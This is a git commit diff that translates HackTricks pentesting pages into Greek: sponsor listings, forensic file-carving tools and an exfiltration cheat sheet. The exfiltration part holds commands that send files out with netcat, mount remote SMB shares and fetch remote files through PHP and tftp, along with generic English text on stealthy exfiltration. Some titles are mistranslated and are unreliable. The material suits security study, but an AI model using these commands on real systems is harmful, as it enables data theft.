Translated ['README.md', 'forensics/basic-forensic-methodology/partition

This commit is contained in:
Translator 2024-03-15 00:12:21 +00:00
parent fea28496ee
commit 9b1ca2b93c
43 changed files with 1959 additions and 1346 deletions

View file

@ -8,95 +8,108 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
**Καλώς ήρθατε στο wiki όπου θα βρείτε κάθε κόλπο/τεχνική/ό,τι έχω μάθει από CTFs, εφαρμογές στην πραγματική ζωή, αναγνώσεις έρευνας και ειδήσεις.**
{% endhint %}
Για να ξεκινήσετε ακολουθήστε αυτήν τη σελίδα όπου θα βρείτε την **κανονική ροή** που **πρέπει να ακολουθήσετε κατά τον έλεγχο ασφαλείας** ενός ή περισσότερων **μηχανημάτων:**
Για να ξεκινήσετε ακολουθήστε αυτήν τη σελίδα όπου θα βρείτε την **κανονική ροή** που **πρέπει να ακολουθήσετε κατά τον έλεγχο ασφάλειας** ενός ή περισσότερων **μηχανημάτων:**
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
{% endcontent-ref %}
## Χορηγοί Πλατινένιου Επιπέδου
_Η εταιρεία σας θα μπορούσε να βρίσκεται εδώ._
## Εταιρικοί Χορηγοί
## Χορηγοί Επιχειρήσεων
### [STM Cyber](https://www.stmcyber.com)
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) είναι μια εξαιρετική εταιρεία κυβερνοασφάλειας της οποίας το σύνθημα είναι **HACK THE UNHACKABLE**. Διεξάγουν τη δική τους έρευνα και αναπτύσσουν τα δικά τους εργαλεία χάκερ για να **προσφέρουν αρκετές αξιόλογες υπηρεσίες κυβερνοασφάλειας** όπως ελεγκτικές δοκιμές, Κόκκινες Ομάδες και εκπαίδευση.
[**STM Cyber**](https://www.stmcyber.com) είναι μια εξαιρετική εταιρεία κυβερνοασφάλειας της οποίας το σύνθημα είναι **HACK THE UNHACKABLE**. Διεξάγουν τη δική τους έρευνα και αναπτύσσουν τα δικά τους εργαλεία χάκερ για να **προσφέρουν αξιόλογες υπηρεσίες κυβερνοασφάλειας** όπως ελεγκτικές δοκιμές, Κόκκινες Ομάδες και εκπαίδευση.
Μπορείτε να ελέγξετε το **blog** τους στο [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**Η STM Cyber** υποστηρίζει επίσης ανοικτά έργα κυβερνοασφάλειας όπως το HackTricks :)
***
### [RootedCON](https://www.rootedcon.com/)
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένας ζωηρός χώρος συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.
[**RootedCON**](https://www.rootedcon.com) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένας ζωντανός χώρος συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.
{% embed url="https://www.rootedcon.com/" %}
***
### [Intigriti](https://www.intigriti.com)
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Η Intigriti** είναι η **#1** εταιρεία ηθικού χάκερ και **πλατφόρμα ανταμοιβής ευρημάτων ευπάθειας στην Ευρώπη.**
**Η Intigriti** είναι η **#1 στην Ευρώπη** στην ηθική χρήση και την **πλατφόρμα ανταμοιβής ευρημάτων ευπάθειας.**
**Συμβουλή ανταμοιβής ευπάθειας**: **Εγγραφείτε** στην **Intigriti**, μια προηγμένη **πλατφόρμα ανταμοιβής ευπάθειας δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε ανταμοιβές έως και **$100,000**!
Συμβουλή για ανταμοιβή ευρημάτων: **Εγγραφείτε** στην **Intigriti**, μια προηγμένη **πλατφόρμα ανταμοιβής ευρημάτων ευπάθειας δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε ανταμοιβές έως και **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
***
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
***
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ανταμοιβής ευπάθειας!
Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ανταμοιβής ευρημάτων!
**Εισαγωγή στο Χάκινγκ**\
Συμμετέχετε σε περιεχόμενο που εξετάζει την αγωνία και τις προκλήσεις του χάκινγκ
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενήμεροι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
Μείνετε ενήμεροι με τον γρήγορο κόσμο του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενήμεροι με τις νεότερες ανταμοιβές ευπάθειας που ξεκινούν και τις κρίσιμες ενημερώσεις πλατφόρμας
Μείνετε ενήμεροι με τις νεότερες ανταμοιβές ευρημάτων που ξεκινούν και τις κρίσιμες ενημερώσεις πλατφόρμας
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
***
### [Pentest-Tools.com](https://pentest-tools.com/) - Το απαραίτητο εργαλείο δοκιμών διείσδυσης
### [Pentest-Tools.com](https://pentest-tools.com/) - Το απαραίτητο εργαλείο ελέγχου διείσδυσης
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη εγκατάσταση για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.
**Άμεσα διαθέσιμη εγκατάσταση για αξιολόγηση ευπαθειών & ελέγχου διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.
{% embed url="https://pentest-tools.com/" %}
***
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### [WebSec](https://websec.nl/)
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθάει στην **προστασία** επιχειρήσεων **σε όλο τον κόσμο** ενάντια στις τελευταίες κυβερνοασφαλειακές απειλές παρέχοντας υπηρεσίες **επιθετικής ασφάλειας** με μια **σύγχρονη** προσέγγιση.
[**WebSec**](https://websec.nl) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθάει στην **προστασία** επιχειρήσεων **σε όλο τον κόσμο** ενάντια στις τελευταίες κυβερνοασφάλειας απειλές παρέχοντας **υπηρεσίες επιθετικής ασφάλειας** με μια **σύγχρονη** προσέγγιση.
Η WebSec είναι μια **εταιρεία ασφάλειας όλα-σε-ένα** που σημαίνει ότι κάνουν τα πάντα· Δοκιμές Διείσδυσης, **Ελεγκτικές** Επιθεωρήσεις, Εκπαιδεύσεις Ευαισθητοποίησης, Καμπάνιες Φισιγκ, Αναθεώρηση Κώδικα, Ανάπτυξη Εκμετάλλευσης, Εξωτερική Ανάθεση Ειδικών Ασφάλειας και πολλά άλλα.
Η WebSec είναι μια **εταιρεία ασφάλειας όλα-σε-ένα** που σημαίνει ότι κάνουν τα πάντα· Δοκιμές Διείσδυσης, **Ελεγκτικές** Επιθεωρήσεις, Εκπαιδεύσεις Ευαισθητοποίησης, Καμπάνιες Φισινγκ, Αναθεώρηση Κώδικα, Ανάπτυξη Εκμετάλλευσης, Εξωτερική Ανάθεση Ειδικών Ασφάλειας και πολλά άλλα.
Ένα άλλο καλό πράγμα για την WebSec είναι ότι αντίθετα με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ βέβαιη για τις δεξιότητές της**, με τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, αναφέρεται στον ιστότοπό τους "**Αν δεν μπορούμε να το χακάρουμε, Δεν πληρώνετε!**". Για περισσότερες πληροφορίες ρίξτε μια ματιά στην [**ιστοσελίδα**](https://websec.nl/en/) και το [**blog**](https://websec.nl/blog/) τους!
Ένα άλλο ωραίο πράγμα για την WebSec είναι ότι αντίθετα με τον μέσο όρο της βιομηχανίας η WebSec είναι **πολύ βέβαιη για τις δεξιότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, αναφέρεται στον ιστότοπό τους "**Αν δεν μπορούμε να το χακάρουμε, Δεν πληρώνετε!**". Για περισσότερες πληροφορίες ρίξτε μια ματιά στον [**ιστότοπό**](https://websec.nl/en/) και το [**blog**](https://websec.nl/blog/) τους!
Εκτός από τα παραπάνω, η WebSec υποστηρίζει επίσης το HackTricks.
Επιπλέον, εκτός από τα παραπάνω, η WebSec υποστηρίζει επίσης το HackTricks.
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
@ -110,6 +123,4 @@ _Η εταιρεία σας θα μπορούσε να βρίσκεται εδώ
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρ
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong

View file

@ -1,4 +1,4 @@
# Εργαλεία Ανάκτησης & Ανάλυσης Δεδομένων Αρχείων
# Εργαλεία Ανάκτησης & Ανάγλυφων Δεδομένων
<details>
@ -14,13 +14,21 @@
</details>
## Εργαλεία Ανάκτησης & Ανάλυσης
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Εργαλεία Ανάκτησης & Ανάγλυφων Δεδομένων
Περισσότερα εργαλεία στο [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
Το πιο κοινό εργαλείο που χρησιμοποιείται στην ανάκριση για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να αναλύσει το αρχείο για να βρεί "κρυμμένα" αρχεία. Σημειώστε ότι το Autopsy είναι σχεδιασμένο για να υποστηρίζει εικόνες δίσκων και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία.
Το πιο κοινό εργαλείο που χρησιμοποιείται στην ανάκριση για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρει "κρυμμένα" αρχεία. Σημειώστε ότι το Autopsy είναι σχεδιασμένο για να υποστηρίζει εικόνες δίσκων και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία.
### Binwalk <a href="#binwalk" id="binwalk"></a>
@ -35,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
Ένα άλλο κοινό εργαλείο για την εύρεση κρυφών αρχείων είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρύθμισης του foremost στο `/etc/foremost.conf`. Αν θέλετε απλά να αναζητήσετε κάποια συγκεκριμένα αρχεία, κάντε σχόλιο την αντίστοιχη γραμμή. Αν δεν κάνετε σχόλιο σε κάτι, το foremost θα αναζητήσει τους τύπους αρχείων που έχουν προκαθοριστεί.
Ένα άλλο κοινό εργαλείο για την εύρεση κρυφών αρχείων είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρύθμισης του foremost στο `/etc/foremost.conf`. Αν θέλετε απλώς να αναζητήσετε κάποια συγκεκριμένα αρχεία, κάντε σχόλιο την αντίστοιχη γραμμή. Αν δεν κάνετε σχόλιο σε κάτι, το foremost θα αναζητήσει τους προεπιλεγμένους τύπους αρχείων που έχουν ρυθμιστεί.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@ -43,7 +51,7 @@ foremost -v -i file.img -o output
```
### **Scalpel**
**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρεί και να εξάγει **αρχεία που έχουν ενσωματωθεί σε ένα αρχείο**. Σε αυτήν την περίπτωση, θα χρειαστεί να καταργήσετε τα σχόλια από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) των τύπων αρχείων που θέλετε να εξάγει.
**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία που έχουν ενσωματωθεί σε ένα αρχείο**. Σε αυτήν την περίπτωση, θα χρειαστεί να καταργήσετε τα σχόλια από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) των τύπων αρχείων που θέλετε να εξάγει.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
@ -52,7 +60,7 @@ scalpel file.img -o output
Αυτό το εργαλείο περιλαμβάνεται στο Kali αλλά μπορείτε να το βρείτε εδώ: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτή, **πληροφορίες δικτύου (URLs, domains, IPs, MACs, emails)** και περισσότερα **αρχεία**. Θα πρέπει μόνο να:
Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτή, **πληροφορίες δικτύου (URLs, domains, IPs, MACs, emails)** και περισσότερα **αρχεία**. Απλά πρέπει να:
```
bulk_extractor memory.img -o out_folder
```
@ -70,14 +78,14 @@ bulk_extractor memory.img -o out_folder
#### Χαρακτηριστικά του BinVis
* Οπτικός και ενεργός **δομικός προβολέας**
* Οπτικός και ενεργός **θεατής δομής**
* Πολλαπλά γραφήματα για διαφορετικά σημεία εστίασης
* Εστίαση σε τμήματα ενός δείγματος
* **Προβολή συμβόλων και πόρων**, σε εκτελέσιμα PE ή ELF, κ.λπ.
* Λήψη **μοτίβων** για κρυπτανάλυση αρχείων
* **Εντοπισμός** αλγορίθμων συμπιεστή ή κωδικοποιητή
* **Αναγνώριση** Στεγανογραφίας με βάση τα μοτίβα
* **Οπτική** διαφοροποίηση δυαδικών
* **Οπτική** διαφοροποίηση δυαδικών αρχείων
Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο μαύρου κουτιού.
@ -85,7 +93,7 @@ bulk_extractor memory.img -o out_folder
### FindAES
Αναζητά κλειδιά AES αναζητώντας τα προγράμματα κλειδιών τους. Μπορεί να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από το TrueCrypt και το BitLocker.
Αναζητά κλειδιά AES αναζητώντας τα προγράμματα κλειδιών τους. Μπορεί να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από TrueCrypt και BitLocker.
Λήψη [εδώ](https://sourceforge.net/projects/findaes/).
@ -93,3 +101,23 @@ bulk_extractor memory.img -o out_folder
Μπορείτε να χρησιμοποιήσετε το [**viu** ](https://github.com/atanunq/viu)για να δείτε εικόνες από το τερματικό.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών του Linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε.
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -1,4 +1,4 @@
# Εξυπρέτηση
# Εξιχνίαση
<details>
@ -10,22 +10,30 @@
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
## Συνήθως εγκριμένοι τομείς για την εξυπρέτηση πληροφοριών
**Try Hard Security Group**
Ελέγξτε το [https://lots-project.com/](https://lots-project.com/) για να βρείτε συνήθως εγκριμένους τομείς που μπορούν να καταχραστούνται
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
## Αντιγραφή\&Επικόλληση Base64
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Συνήθως εγκριμένοι τομείς για την εξιχνίαση πληροφοριών
Ελέγξτε το [https://lots-project.com/](https://lots-project.com/) για να βρείτε συνήθως εγκριμένους τομείς που μπορούν να καταχραστούν
## Αντιγραφή & Επικόλληση Base64
**Linux**
```bash
base64 -w0 <file> #Encode file
base64 -d file #Decode file
```
**Παράθυρα**
**Windows**
```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
@ -114,7 +122,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
```
## FTP
### FTP server (python)
### Διακομιστής FTP (python)
```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
@ -124,7 +132,7 @@ python3 -m pyftpdlib -p 21
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### Διακομιστής FTP (pure-ftp)
### FTP server (pure-ftp)
```bash
apt-get update && apt-get install pure-ftp
```
@ -177,50 +185,41 @@ guest ok = Yes
#Start samba
service smbd restart
```
## Exfiltration
### Exfiltration
### Introduction
#### Techniques
Exfiltration is the unauthorized transfer of data from a target. This can be achieved through various methods, such as:
- **Data Compression**: Compress data before exfiltration to reduce size and avoid detection.
- **Data Encryption**: Encrypt data before exfiltration to protect it from unauthorized access.
- **Data Fragmentation**: Break data into smaller fragments for exfiltration to evade detection.
- **Data Hiding**: Hide exfiltrated data within other files or protocols to avoid detection.
- **Steganography**: Conceal data within images, audio files, or other media to exfiltrate without detection.
- **Traffic Manipulation**: Manipulate network traffic to disguise exfiltration as normal traffic.
- **DNS Tunneling**: Use DNS protocol to exfiltrate data by encoding it within DNS queries and responses.
- **Exfiltration Over Alternative Protocols**: Use non-standard protocols for exfiltration to bypass detection mechanisms.
- **Exfiltration Over Encrypted Channels**: Use encrypted channels for exfiltration to avoid detection by network monitoring tools.
- **Email**: Sending sensitive data as email attachments.
- **FTP**: Transferring files using the File Transfer Protocol.
- **DNS**: Encoding data within DNS queries.
- **HTTP/HTTPS**: Sending data over HTTP or HTTPS protocols.
- **Steganography**: Hiding data within images or other files.
- **Physical**: Removing data physically from a target location.
#### Tools
### Techniques
#### Data Compression
Data can be compressed before exfiltration to reduce its size and avoid detection.
#### Data Encryption
Encrypting data before exfiltration can prevent unauthorized access.
#### Data Fragmentation
Breaking data into smaller fragments can help avoid detection.
#### Data Obfuscation
Obfuscating data can make it harder to detect or analyze.
### Tools
Various tools can be used for exfiltration, such as:
- **Netcat**: A versatile networking utility.
- **Curl**: A command-line tool for transferring data.
- **Wget**: Another tool for downloading files from the web.
- **OpenSSL**: For encryption and decryption.
- **7-Zip**: A file archiver with a high compression ratio.
### Conclusion
Exfiltration is a critical phase in a successful attack. By understanding the various methods and techniques involved, hackers can effectively transfer data without being detected.
- **Netcat**: A versatile networking utility that can be used for exfiltration.
- **Curl**: A command-line tool for transferring data with URL syntax that can be used for exfiltration.
- **Wget**: A command-line utility for downloading files from the web that can be used for exfiltration.
- **FTP**: File Transfer Protocol can be used for exfiltration of data.
- **SCP**: Secure Copy Protocol can securely transfer files for exfiltration.
- **SFTP**: Secure File Transfer Protocol can be used for secure exfiltration of files.
- **HTTP/HTTPS**: Hypertext Transfer Protocol can be used for exfiltration over the web.
- **DNSCat2**: A tool for exfiltration using DNS protocol.
- **Iodine**: A tool for tunneling IP over DNS for exfiltration.
- **Dnscat2**: Another tool for exfiltration using DNS protocol.
- **PowerShell Empire**: A post-exploitation agent that can be used for exfiltration.
- **Mimikatz**: A tool for extracting credentials from Windows machines that can aid in exfiltration.
- **PsExec**: A command-line tool that can be used for executing processes on remote systems for exfiltration.
- **Bitsadmin**: A command-line tool to create and monitor BITS jobs for exfiltration.
- **Certutil**: A command-line program that can be used to dump and display certification authority (CA) configuration information.
- **WMIC**: Windows Management Instrumentation Command-line can be used for exfiltration.
- **PowerShell**: The Windows PowerShell can be used for various exfiltration techniques.
- **Windows Management Instrumentation (WMI)**: WMI can be used for exfiltration of data from Windows systems.
- **Windows Remote Management (WinRM)**: WinRM can be used for remote management and exfiltration on Windows systems.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -242,9 +241,7 @@ sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```
## ΕΚ
### Ε
## Εξωτερική μεταφορά (Exfiltration)
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
@ -311,13 +308,33 @@ tftp -i <KALI-IP> get nc.exe
```
## PHP
Κατεβάστε ένα αρχείο με ένα PHP oneliner:
Λήψη ενός αρχείου με ένα PHP oneliner:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
## VBScript
Το VBScript (Visual Basic Script) είναι μια ελαφριά έκδοση της γλώσσας προγραμματισμού Visual Basic που χρησιμοποιείται για τη δημιουργία scripts σε περιβάλλοντα Windows.
### Overview
VBScript is a scripting language that is commonly used for Windows systems. It can be used for various purposes, including exfiltrating data from a compromised system. VBScript can be executed using the Windows Script Host (WSH) and can interact with the Windows operating system to perform tasks such as file operations, network communication, and data exfiltration.
### Exfiltration Techniques
#### File Transfer
VBScript can be used to transfer files from a compromised system to an external server using protocols such as FTP or HTTP. By reading the contents of a file and sending it over the network, an attacker can exfiltrate sensitive data without being detected.
#### Data Encoding
To avoid detection by security controls, data exfiltrated using VBScript can be encoded using techniques such as Base64 encoding. This allows the data to be obfuscated during transit and decoded on the attacker's server.
#### Network Communication
VBScript can establish network connections to send data to remote servers controlled by an attacker. By leveraging network sockets, VBScript can communicate over TCP or UDP to exfiltrate data stealthily.
### Detection and Prevention
Detecting VBScript-based exfiltration can be challenging due to its ability to blend in with legitimate scripting activities. Monitoring for suspicious network connections, file transfers, and unusual data encoding patterns can help in detecting potential exfiltration attempts. Restricting the use of VBScript and implementing application whitelisting can help prevent unauthorized scripts from running on Windows systems.
```bash
Attacker> python -m SimpleHTTPServer 80
```
@ -364,7 +381,3 @@ wine exe2bat.exe nc.exe nc.txt
## DNS
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
Στη συνέχεια αντιγράψτε και επικολλήστε το κείμενο στο παράθυρο κελύφους των Windows και θα δημιουργηθεί ένα αρχείο με το όνομα nc.exe.
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)

View file

@ -1,43 +1,57 @@
# Ευρετήριο Ευρεσης Πηγαίου Κώδικα
# Ευρεία Αναζήτηση Πηγαίου Κώδικα
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
